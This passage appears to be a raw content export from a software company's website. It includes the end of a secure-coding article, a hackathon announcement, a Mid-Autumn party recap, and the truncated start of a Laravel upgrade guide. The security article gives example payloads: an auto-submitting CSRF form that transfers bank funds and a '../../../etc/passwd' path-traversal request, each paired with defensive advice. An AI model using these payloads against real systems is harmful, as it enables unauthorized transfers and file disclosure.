case",[11,10485,10486],{},"Let's say the bank is currently using POST and the vulnerable request looks like this:",[605,10488,10491],{"className":10489,"code":10490,"language":610},[608],"POST http:\u002F\u002Fbank.com\u002Ftransfer\naccount=user2&amount=1000\n",[612,10492,10490],{"__ignoreMap":66},[11,10494,10495],{},"Such a request cannot be submitted using the standard \u003Ca> or \u003Cimg> tags, but can be submitted using the \u003Cform> tag as follows:",[605,10497,10500],{"className":10498,"code":10499,"language":610},[608],"\u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n  \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n  \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n  \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n\u003C\u002Fform>\n",[612,10501,10499],{"__ignoreMap":66},[11,10503,10504],{},"This form will require the user to click a submit button, but this can also be done automatically using JavaScript:",[605,10506,10509],{"className":10507,"code":10508,"language":610},[608],"\u003Cbody onload=\"document.forms[0].submit()\">\n  \u003Cform action=\"http:\u002F\u002Fbank.com\u002Ftransfer\" method=\"POST\"> \n    \u003Cinput type=\"hidden\" name=\"account\" value=\"user3\"\u002F>\n    \u003Cinput type=\"hidden\" name=\"amount\" value=\"200000\"\u002F>\n    \u003Cinput type=\"submit\" value=\"submit\"\u002F>\n  \u003C\u002Fform>\n\u003C\u002Fbody>\n",[612,10510,10508],{"__ignoreMap":66},[11,10512,10513],{},[20,10514,10354],{},[31,10516,10517,10539],{},[34,10518,10519,10525],{},[20,10520,10521,10522],{},"User ",[20,10523,10524],{},"behaviors",[31,10526,10527,10530,10533,10536],{},[34,10528,10529],{},"Should log out of important websites such as bank accounts, online payments, social networks, Gmail, etc. when the transaction is done.",[34,10531,10532],{},"Do not click on unknown links that you receive via email, Facebook, etc., or open strange emails.",[34,10534,10535],{},"Do not save password information in your browser (do not choose the methods \"login next time\", \"save password\").",[34,10537,10538],{},"In the process of making transactions or visiting important websites, do not visit other websites, which may contain exploit codes of attackers.",[34,10540,10541,10544],{},[20,10542,10543],{},"Server-side",[31,10545,10546,10549,10552,10555],{},[34,10547,10548],{},"Use GET and POST properly. Use GET if the operation is a data query. Use POST if the operation makes a system change. If your application is RESTful, you can use additional HTTP verbs, like PATCH, PUT or DELETE.",[34,10550,10551],{},"Captcha is used to identify the object that is working with the system is human or not. Important operations such as \"login\", \"transfer\", \"payment\" are often used captcha.",[34,10553,10554],{},"Use separate cookies for the admin page",[34,10556,10557],{},"IP check: Some important systems only allow access from pre-established IPs",[565,10559,10561],{"id":10560},"path-traversal",[20,10562,10563],{},"Path Traversal",[11,10565,10566],{},"Path traversal is a web vulnerability that allows an attacker to access files and folders stored outside the web root directory, reading unwanted files on the server. It leads to the exposure of sensitive application information such as login information, some operating system files, or folders. In some cases it is also possible to write to files on the server, allowing an attacker to change data or even take control of the server.",[11,10568,10569],{},"For example",[11,10571,10572],{},"An application that loads images looks like this:",[605,10574,10577],{"className":10575,"code":10576,"language":610},[608],"\u003Cimg src=\"\u002FloadImage?filename=image-logo.png\">\n",[612,10578,10576],{"__ignoreMap":66},[11,10580,10581],{},"When we send a request with a param filename=image-logo.png  it will return the content of the specified file with the image file at \u002Fvar\u002Fwww\u002Fimages\u002Fimage-logo.png",[11,10583,10584],{},"Since the application does not protect against the path traversal attack, the attacker can make an arbitrary request to be able to read the files in the system.",[11,10586,10569],{},[605,10588,10591],{"className":10589,"code":10590,"language":610},[608],"https:\u002F\u002Fhostname\u002FloadImage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n",[612,10592,10590],{"__ignoreMap":66},[11,10594,10595],{},"The application will then read the file with the path \u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd with each  ..\u002F  returning to the parent directory of the current directory. So with  ..\u002F..\u002F..\u002F, the directory  \u002Fvar\u002Fwww\u002Fimages\u002F  has returned to the original directory and file \u002Fetc\u002Fpasswd is the file that is read.",[11,10597,10598],{},"On Linux operating systems, \u002Fetc\u002Fpasswd\u002F  is a file containing information about users.",[11,10600,10601],{},"After reading the file \u002Fetc\u002Fpasswd\u002F it will look like this",[438,10603],{"className":10604,"alt":66,"src":10605,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F21090548\u002Fsecure-coding-3.png",[11,10607,10608],{},"In addition to this file \u002Fetc\u002Fpasswd\u002F, an attacker can make an arbitrary request to be able to read other files and directories in the system.",[11,10610,10611],{},[20,10612,10354],{},[203,10614,10615,10618,10621,10624],{},[34,10616,10617],{},"User input should be validated before processing.",[34,10619,10620],{},"Do not store sensitive configuration files inside the web root directory.",[34,10622,10623],{},"Use a whitelist for allowed values or file names that are numeric characters, letters should not contain special characters.",[34,10625,10626],{},"About the file can use Amazon S3 to store and retrieve it.",[565,10628,10630],{"id":10629},"insecure-direct-object-references-idor","Insecure Direct Object References (IDOR)",[11,10632,10633],{},"Insecure Direct Object References (IDOR) is a vulnerability that occurs when a program allows users to illegally access resources (data, files, directories, databases) through user-supplied data.",[11,10635,10569],{},[11,10637,10638,10639,10643],{},"In the \"Manage Orders\" section, the URL of an order will look like this:  ",[55,10640,10641],{"href":10641,"rel":10642},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1",[59],". The server will read ID = 1 from the URL, then find the order with ID = 1 in the database and pour data into HTML. Then change ID = 1 to another number, now the system reads and displays all orders (including orders of other customers).",[11,10645,10646],{},"The vulnerability here is: the program allows illegal access to resources (other people's orders) through the data (ID) provided via the URL. The program should have checked if the user has permission to access this data.",[11,10648,10649],{},"In fact, hackers can use many tricks such as changing the URL, changing the param in the API, and using the tool to scan for unsecured resources.",[11,10651,10652],{},[20,10653,10354],{},[203,10655,10656,10659,10662],{},[34,10657,10658],{},"Set strict user permissions",[34,10660,10661],{},"Always test the application carefully",[34,10663,10664],{},"Protect sensitive data such as source code, config, database key, need to restrict access. The best practice is to only allow internal IPs to access this data.",[403,10666,10668],{"id":10667},"conclude","Conclude",[11,10670,10671],{},"The use of secure coding for the application is an indispensable element to ensure safety and security. By applying secure coding principles and methods, you can help prevent security vulnerabilities from appearing at an early stage and reduce future risks. Build a trusted and secure app for users.",[403,10673,2891],{"id":2890},[11,10675,10676],{},[55,10677,10678],{"href":10678,"rel":10679},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[59],[11,10681,10682],{},[55,10683,10684],{"href":10684,"rel":10685},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[59],[11,10687,10688],{},[55,10689,10690],{"href":10690,"rel":10691},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[59],[11,10693,10694],{},[55,10695,10696],{"href":10696,"rel":10697},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[59],[11,10699,10700],{},[55,10701,10702],{"href":10702,"rel":10703},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[59],[11,10705,10706],{},[55,10707,10708],{"href":10708,"rel":10709},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[59],{"title":66,"searchDepth":67,"depth":67,"links":10711},[10712,10713,10714,10727,10734,10735],{"id":9650,"depth":67,"text":9651},{"id":9660,"depth":67,"text":9661},{"id":9690,"depth":67,"text":9691,"children":10715},[10716,10717,10718,10719,10720,10721,10722,10723,10724,10725,10726],{"id":9694,"depth":1306,"text":9695},{"id":9738,"depth":1306,"text":9739},{"id":9779,"depth":1306,"text":9780},{"id":9855,"depth":1306,"text":9856},{"id":9905,"depth":1306,"text":9906},{"id":9961,"depth":1306,"text":9962},{"id":10034,"depth":1306,"text":10035},{"id":10087,"depth":1306,"text":10088},{"id":10146,"depth":1306,"text":10147},{"id":10199,"depth":1306,"text":10200},{"id":10255,"depth":1306,"text":10256},{"id":10308,"depth":67,"text":10309,"children":10728},[10729,10730,10731,10732,10733],{"id":10312,"depth":1306,"text":10313},{"id":10368,"depth":1306,"text":10369},{"id":10439,"depth":1306,"text":10442},{"id":10560,"depth":1306,"text":10563},{"id":10629,"depth":1306,"text":10630},{"id":10667,"depth":67,"text":10668},{"id":2890,"depth":67,"text":2891},"2025-03-25","Introduction to secure coding Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely. Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm to systems and users. Secure coding ensures that applications and systems are written correctly and securely from development to deployment.",{},"\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",{"title":9645,"description":10737},"news\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","QDyQkz6FRgPzfJNDwULRpz0aXvyNAaPlLBb3zVKLFGk",{"id":10745,"title":10746,"body":10747,"category":69,"created by":11006,"date":11007,"description":10751,"extension":72,"meta":11008,"navigation":74,"path":11009,"sections":76,"seo":11010,"stem":11011,"thumbnail":11012,"__hash__":11013},"content_en\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023.md","1st Hackathon event in Briswell Vietnam in 2023",{"type":8,"value":10748,"toc":10993},[10749,10752,10756,10767,10771,10782,10786,10806,10810,10813,10817,10820,10823,10826,10829,10832,10836,10847,10851,10874,10878,10883,10887,10892,10894,10897,10923,10926,10929,10932,10935,10938,10941,10944,10947,10950,10953,10957,10960,10963,10966,10969,10975,10978,10984,10987],[11,10750,10751],{},"Briswell Vietnam organized a Hackathon event for company members, creating opportunities for everyone to research and develop new services. The event runs for three weeks; in the last week, there will be a presentation, and the groups will present their achievements over the past three weeks. Here are the details of this Hackathon event.",[403,10753,10755],{"id":10754},"purpose","Purpose",[31,10757,10758,10761,10764],{},[34,10759,10760],{},"Develop new services for the company",[34,10762,10763],{},"Improve and develop new development methods.",[34,10765,10766],{},"Help members achieve objectives they usually do not have the opportunity to accomplish when participating in company projects, such as the design and release stages.",[403,10768,10770],{"id":10769},"term","Term",[31,10772,10773,10776,10779],{},[34,10774,10775],{},"The event runs from February 13 to March 2.",[34,10777,10778],{},"The presentation will take place on March 2.",[34,10780,10781],{},"Members need to arrange to join this activity at least 2 days per week. For members with more free time, more participation is possible.",[403,10783,10785],{"id":10784},"schedule","Schedule",[31,10787,10788,10791,10794,10797,10800,10803],{},[34,10789,10790],{},"The management board issues specific rules and schedules for the event.",[34,10792,10793],{},"The management board decides on members for each team.",[34,10795,10796],{},"Hold a meeting of all event participants to explain the rules, schedule, topics, and members of each team.",[34,10798,10799],{},"Teams meet together to decide on the group's product, notify the management board about their products.",[34,10801,10802],{},"Hold a presentation on March 2 (prepare presentation materials and videos).",[34,10804,10805],{},"Write tech blog articles about the team's products.",[403,10807,10809],{"id":10808},"theme","Theme",[11,10811,10812],{},"Fitness\u002F Healthcare",[403,10814,10816],{"id":10815},"team","Team",[11,10818,10819],{},"The list of teams and members is as follows:",[11,10821,10822],{},"Team1: Calories-showing (Nghĩa, Sang, Đạt, Hào, Ngọc(C))",[11,10824,10825],{},"Team2: Enjoy-life (Hiếu, Duy, Vinh, Hoàng, Trung, Châu(C))",[11,10827,10828],{},"Team3: Healthy-healthier (Thành, Khánh, Hữu, Khuyên, T.Anh(C))",[11,10830,10831],{},"Operation support: Hải(C)",[403,10833,10835],{"id":10834},"privileges","Privileges",[31,10837,10838,10841,10844],{},[34,10839,10840],{},"The 1st prize: 200.000 VND for each member.",[34,10842,10843],{},"Run the business using the application.",[34,10845,10846],{},"Have a bonus if their product has a profit.",[403,10848,10850],{"id":10849},"regulations","Regulations",[31,10852,10853,10856,10859,10862,10865,10868,10871],{},[34,10854,10855],{},"Tasks are managed by Redmine. (Same with the BWJ PJ)",[34,10857,10858],{},"Protect copyrights and information confidentiality.",[34,10860,10861],{},"Use repositories of GitHub the company provided.",[34,10863,10864],{},"Need to use AI technology or AI services in the team's application (can use simple AI services to process text, images, sounds, etc.)",[34,10866,10867],{},"The management board's consent is required when using the paid services. Prioritize the use of free services. (When using a fee-based service, you need to make a list of specific costs, the company will pay each team at most 1,000,000 VND per month)",[34,10869,10870],{},"Hold meetings between members every morning. (Remember to create a meeting schedule)",[34,10872,10873],{},"When building the system, the UI is written in English.",[403,10875,10877],{"id":10876},"judge","Judge",[31,10879,10880],{},[34,10881,10882],{},"The result of the winning team will be decided through the votes of members of Briswell Vietnam and Briswell Japan.",[403,10884,10886],{"id":10885},"decide-product","Decide product",[31,10888,10889],{},[34,10890,10891],{},"Before proceeding with product development, each team needs to decide what products the team will make, the AI services they will use, as well as how to implement the team's products and services. The team will then notify the management board and need to get approval before officially proceeding with the design and coding.",[403,10893,5155],{"id":5154},[11,10895,10896],{},"According to the plan outlined, the presentation will occur on March 2. Teams present their products. Accordingly, each team will create a presentation document with the following details:",[31,10898,10899,10902,10905,10908,10911,10914,10917,10920],{},[34,10900,10901],{},"The attractiveness\u002Fcontent of the service (explained at the same time as running the application)",[34,10903,10904],{},"The technology used and method of application development",[34,10906,10907],{},"Services, tools, and libraries used (be sure to include the license and their intended use)",[34,10909,10910],{},"Features and advantages of the product that the team has devised",[34,10912,10913],{},"The members and their roles",[34,10915,10916],{},"AI Service used and its purpose",[34,10918,10919],{},"Unfinished features or features to be added in the future",[34,10921,10922],{},"Other things",[11,10924,10925],{},"Specific schedule of the presentation day:",[11,10927,10928],{},"3h00 ~ 3h05: Introduction (the management board)",[11,10930,10931],{},"3h05 ~ 3h30: Team Enjoy-Life",[11,10933,10934],{},"3h30 ~ 3h35: Break",[11,10936,10937],{},"3h35 ~ 4h00: Team Calories-Showing",[11,10939,10940],{},"4h00 ~ 4h05: Break",[11,10942,10943],{},"4h05 ~ 4h30: Team Healthy-Healthier",[11,10945,10946],{},"4h30 ~ 5h00: Voting and other activities",[403,10948,711],{"id":10949},"result",[11,10951,10952],{},"The voting period is from March 2 to March 8. Below are the voting results.",[438,10954],{"className":10955,"alt":66,"src":10956,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22152722\u002FScreenshot-2023-03-22-151942-768x333.png",[11,10958,10959],{},"Based on the voting results, there were 2 teams equal to the number of votes. To select the winning team, the management board relied on other criteria such as presentation, harmony, teamwork, and cooperation in work. We decided that the final winning team of Hackathon 202302 was Enjoy Life with the Ingredient Checker product. At the same time also congratulate the remaining teams who also tried their best with their products.",[11,10961,10962],{},"Because this is the first time the Hackathon event has been held, many things still need to be corrected; the management board has also received feedback from everyone to improve the next time, and thank you to all members who attended the event.",[11,10964,10965],{},"Below are links to the tech blog posts of the Hackathon products.",[11,10967,10968],{},"Team Calorie Showing with the product Calorie Showing.",[11,10970,10971],{},[55,10972,10974],{"href":10973},"\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F","https:\u002F\u002Fwww.briswell-vn.com\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an\u002F",[11,10976,10977],{},"Team Enjoy Life with the product Ingredient Checker.",[11,10979,10980],{},[55,10981,10983],{"href":10982},"\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F","https:\u002F\u002Fwww.briswell-vn.com\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker\u002F",[11,10985,10986],{},"Team Heathy Healthier with the product Easy Medicine.",[11,10988,10989],{},[55,10990,10992],{"href":10991},"\u002Fnews\u002Fhackathon-team3\u002F","https:\u002F\u002Fwww.briswell-vn.com\u002Fnews\u002Fhackathon-team3\u002F",{"title":66,"searchDepth":67,"depth":67,"links":10994},[10995,10996,10997,10998,10999,11000,11001,11002,11003,11004,11005],{"id":10754,"depth":67,"text":10755},{"id":10769,"depth":67,"text":10770},{"id":10784,"depth":67,"text":10785},{"id":10808,"depth":67,"text":10809},{"id":10815,"depth":67,"text":10816},{"id":10834,"depth":67,"text":10835},{"id":10849,"depth":67,"text":10850},{"id":10876,"depth":67,"text":10877},{"id":10885,"depth":67,"text":10886},{"id":5154,"depth":67,"text":5155},{"id":10949,"depth":67,"text":711},"KHUYEN DO TIEP","2023-03-30",{},"\u002Fnews\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023",{"title":10746,"description":10751},"news\u002Fsu-kien-hackathon-dau-tien-cua-briswell-vietnam-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F22213033\u002F336352687_129229636774710_4526858656474541242_n.png","x1x9XKUPabTRQOrlebl7nukq-vwd8VV-wzQhoiSrV24",{"id":11015,"title":11016,"body":11017,"category":2999,"created by":3000,"date":11131,"description":11132,"extension":72,"meta":11133,"navigation":74,"path":11134,"sections":76,"seo":11135,"stem":11136,"thumbnail":11137,"__hash__":11138},"content_en\u002Fnews\u002Ftet-trung-thu-nam-2025.md","Mid-Autumn Event in 2025",{"type":8,"value":11018,"toc":11129},[11019,11022,11025,11039,11047,11051,11061,11070,11073,11084,11095,11098,11108,11111,11123,11126],[11,11020,11021],{},"In the lively ambiance of the Mid-Autumn Festival, Briswell held a warm party for all staff.",[11,11023,11024],{},"The mooncakes were thoughtfully given to everyone as a wish for peace and sweetness.",[11,11026,11027,11031,11033,11037],{},[438,11028],{"className":11029,"alt":66,"src":11030,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06132925\u002FIMG_7934-768x576.jpg",[473,11032],{},[438,11034],{"className":11035,"alt":66,"src":11036,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133018\u002FIMG_7936-768x943.jpg",[473,11038],{},[11,11040,11041,11045],{},[438,11042],{"className":11043,"alt":66,"src":11044,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133113\u002FIMG_7940-768x1207.jpg",[473,11046],{},[438,11048],{"className":11049,"alt":66,"src":11050,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133203\u002FIMG_7944-768x700.jpg",[765,11052,3037,11054,11057,11058],{"className":11053,"style":4444},[4513],[438,11055],{"className":11056,"alt":66,"src":11030,"style":506},[441,442],"\n   ",[438,11059],{"className":11060,"alt":66,"src":11036,"style":1894},[441,442],[765,11062,3037,11064,3037,11067],{"className":11063,"style":4444},[4443],[438,11065],{"className":11066,"alt":66,"src":11044,"style":506},[441,442],[438,11068],{"className":11069,"alt":66,"src":11050,"style":506},[441,442],[11,11071,11072],{},"The atmosphere became more bustling when everyone enjoyed a light party with delicious cakes, fruits and cool drinks, creating close and happy moments.",[765,11074,3037,11076,3037,11080],{"className":11075,"style":4444},[4513],[438,11077],{"className":11078,"alt":66,"src":11079,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134742\u002FIMG_7958-1-768x1024.jpg",[438,11081],{"className":11082,"alt":66,"src":11083,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133153\u002FIMG_7942-768x1024.jpg",[765,11085,3037,11087,3037,11091],{"className":11086,"style":4444},[4443],[438,11088],{"className":11089,"alt":66,"src":11090,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134729\u002FIMG_7945-768x1024.jpg",[438,11092],{"className":11093,"alt":66,"src":11094,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133246\u002FIMG_7947-768x1024.jpg",[11,11096,11097],{},"During the party, the mini game became a highlight as it filled the whole space with laughter and the excitement of the participants.",[11,11099,11100,507,11104],{},[438,11101],{"className":11102,"alt":66,"src":11103,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134753\u002FIMG_7963-1-768x576.jpg",[438,11105],{"className":11106,"alt":66,"src":11107,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134758\u002FIMG_7964-1-768x576.jpg",[11,11109,11110],{},"Lovely little gifts were given to the winning team, bringing joy and contributing to team spirit.",[11,11112,11113,11117,507,11119],{},[438,11114],{"className":11115,"alt":66,"src":11116,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06133038\u002FIMG_7938-768x576.jpg",[473,11118],{},[438,11120],{"className":11121,"alt":66,"src":11122,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06134804\u002FIMG_7969-1-768x576.jpg",[11,11124,11125],{},"The event wrapped up with joyful energy and photos capturing memorable moments. ",[11,11127,11128],{},"This year's Mid-Autumn Festival was another beautiful memory in Briswell's journey together.",{"title":66,"searchDepth":67,"depth":67,"links":11130},[],"2025-10-06","In the lively ambiance of the Mid-Autumn Festival, Briswell held a warm party for all staff. The mooncakes were thoughtfully given to everyone as a wish for peace and sweetness. The atmosphere became more bustling when everyone enjoyed a light party with delicious cakes, fruits and cool drinks, creating close and happy moments. During the party, the mini game became a highlight as it filled the whole space with laughter and the excitement of the participants.",{},"\u002Fnews\u002Ftet-trung-thu-nam-2025",{"title":11016,"description":11132},"news\u002Ftet-trung-thu-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F06145019\u002FBlue-Illustrations-Mid-Autumn-Festival-Instagram-Post.png","z_fU-RmwrkJIIWjGQ3LQi97KfhoKjHQ8ocX_nXDhFCY",{"id":11140,"title":11141,"body":11142,"category":1319,"created by":70,"date":12327,"description":12328,"extension":72,"meta":12329,"navigation":74,"path":12330,"sections":76,"seo":12331,"stem":12332,"thumbnail":12333,"__hash__":12334},"content_en\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10.md","From Laravel 8 to Laravel 10 - A migration guide and new features introduction",{"type":8,"value":11143,"toc":12276},[11144,11148,11151,11160,11164,11171,11186,11190,11198,11202,11205,11209,11213,11216,11222,11225,11229,11241,11245,11254,11260,11263,11267,11271,11278,11282,11286,11293,11297,11301,11304,11308,11312,11315,11319,11328,11335,11339,11343,11346,11350,11354,11361,11365,11369,11372,11375,11379,11383,11386,11390,11394,11397,11401,11405,11412,11416,11420,11434,11438,11451,11455,11458,11462,11470,11472,11476,11480,11490,11494,11501,11505,11526,11532,11535,11541,11543,11546,11548,11554,11558,11561,11565,11571,11574,11581,11587,11596,11602,11611,11617,11635,11641,11647,11650,11655,11661,11666,11669,11674,11680,11686,11693,11699,11704,11716,11721,11724,11729,11732,11738,11744,11747,11753,11764,11770,11776,11783,11789,11793,11799,11802,11806,11812,11818,11824,11830,11841,11847,11851,11854,11856,11860,11863,11867,11870,11895,11912,11918,11938,11952,11959,11965,11968,11972,11981,11987,11991,12000,12006,12009,12015,12019,12022,12028,12031,12037,12041,12064,12068,12081,12085,12097,12101,12104,12110,12114,12127,12133,12136,12142,12145,12149,12152,12158,12162,12165,12168,12174,12177,12183,12187,12190,12196,12201,12204,12209,12212,12218,12221,12226,12230],[403,11145,11147],{"id":11146},"why-should-you-migrate-from-laravel-8","Why should you migrate from Laravel 8?",[11,11149,11150],{},"Laravel's new version is now released yearly. Changes such as deprecated features and new features keep coming up. Therefore, the more versions ahead from the latest version you are, the more \"painful\" and time-consuming it is to upgrade compared with upgrading regularly. The main reason for this is that you let your codebase grow too large (classes, methods, and functions become more and more dependent on the others), and it is much harder to make any breaking change. Another thing you should be aware of is that since Laravel 10 was released, Laravel 8 is neither in maintenance nor has support. Therefore, the sooner your project gets upgraded, the better things will be.",[11,11152,11153,11154,11159],{},"In this blog, we will show you how to upgrade your project from Laravel 8 to Laravel 10. This guide is about manual upgradation. Therefore, if you want an automated solution, you should consider using the ",[55,11155,11158],{"href":11156,"rel":11157},"https:\u002F\u002Flaravelshift.com\u002F",[59],"Laravel Shift"," (this is not a free service).",[395,11161,11163],{"id":11162},"laravel-10s-new-features-introduction","Laravel 10's new features introduction:",[403,11165,11167,11168],{"id":11166},"_1-laravel-pennant","1. ",[20,11169,11170],{},"Laravel Pennant:",[11,11172,11173,11174,11177,11178,11181,11182,11185],{},"This is a new package that ships with Laravel 10. It provides a ",[20,11175,11176],{},"feature flag"," function to your application. When you flag a feature, that feature will be considered available or unavailable. Let's say your application has a ",[51,11179,11180],{},"\"meeting booking\" feature",", and this feature is ",[51,11183,11184],{},"only available for users whose role is \"boss\"",". You might manage that feature availability like the below:",[438,11187],{"className":11188,"alt":66,"src":11189,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30160709\u002Flaravel-pennant-768x435.png",[11,11191,11192,11193,878],{},"For more information, please check the ",[55,11194,11197],{"href":11195,"rel":11196},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fpennant",[59],"Laravel Pennant documentation",[403,11199,11201],{"id":11200},"_2-process-interaction","2. Process Interaction:",[11,11203,11204],{},"Laravel 10.x introduces a beautiful abstraction layer for starting and interacting with external processes via a new Process facade. You can execute commands in your application or fake for convenient testing, etc.:",[438,11206],{"className":11207,"alt":66,"src":11208,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30161252\u002Fprocess-call-768x375.png",[403,11210,11212],{"id":11211},"_3-test-profiling","3. Test Profiling:",[11,11214,11215],{},"The Artisan test command has received a new --profile option that allows you to easily identify the fastest or slowest tests in your application:",[605,11217,11220],{"className":11218,"code":11219,"language":610},[608],"php artisan test --profile\n",[612,11221,11219],{"__ignoreMap":66},[11,11223,11224],{},"For convenience, the slowest tests will be displayed directly within the CLI output:",[438,11226],{"className":11227,"alt":66,"src":11228,"style":1894},[441,442],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F5457236\u002F217328439-d8d983ec-d0fc-4cde-93d9-ae5bccf5df14.png",[11,11230,11232,11233,8178],{"className":11231},[2463,2464,2465,2466,2467],"\n  (src:\n  ",[55,11234,11240],{"href":11235,"target":11236,"rel":11237},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#test-profiling","_blank",[11238,11239],"noopener","noreferrer","\n    https:\u002F\u002Flaravel.com\u002F\n  ",[403,11242,11244],{"id":11243},"_4-pest-scaffolding","4. Pest Scaffolding:",[11,11246,11247,11248,11253],{},"Pest is a PHP testing framework provided by  PHPUnit. And Laravel has now supported testing with Pest. New Laravel projects may now be created with ",[55,11249,11252],{"href":11250,"rel":11251},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases#pest-scaffolding",[59],"Pest test scaffolding"," by default. To opt-in to this feature, provide the --pest flag when creating a new application via the Laravel installer:",[605,11255,11258],{"className":11256,"code":11257,"language":610},[608],"laravel new example-application --pest\n",[612,11259,11257],{"__ignoreMap":66},[11261,11262],"hr",{},[395,11264,11266],{"id":11265},"laravel-9s-new-features-introduction","Laravel 9's new features introduction:",[403,11268,11270],{"id":11269},"_1-simplified-accessors-and-mutators","1. Simplified Accessors and Mutators:",[11,11272,11273,11274,11277],{},"\"Accessors and Mutators\" are also called \"getters and setters\". In Laravel, traditionally, you add a prefix to the attribute name like the one below to declare a \"getter or setter\". The ",[51,11275,11276],{},"getXAttribute() and setXAttribute()"," API for declaring accessors and mutators is not going away; However, there's a new, simplified approach that will be recommended going forward:",[438,11279],{"className":11280,"alt":66,"src":11281,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162149\u002Fgetter-setter-declartion.png",[403,11283,11285],{"id":11284},"_2-enum-attribute-casting","2. Enum Attribute Casting:",[11,11287,11288,11289,11292],{},"Now that PHP 8 offers ",[51,11290,11291],{},"enum"," class support. Therefore, Laravel 9 has been updated to include Eloquent attribute casting to and from an enum object. For example, you can now declare and use an enum like the 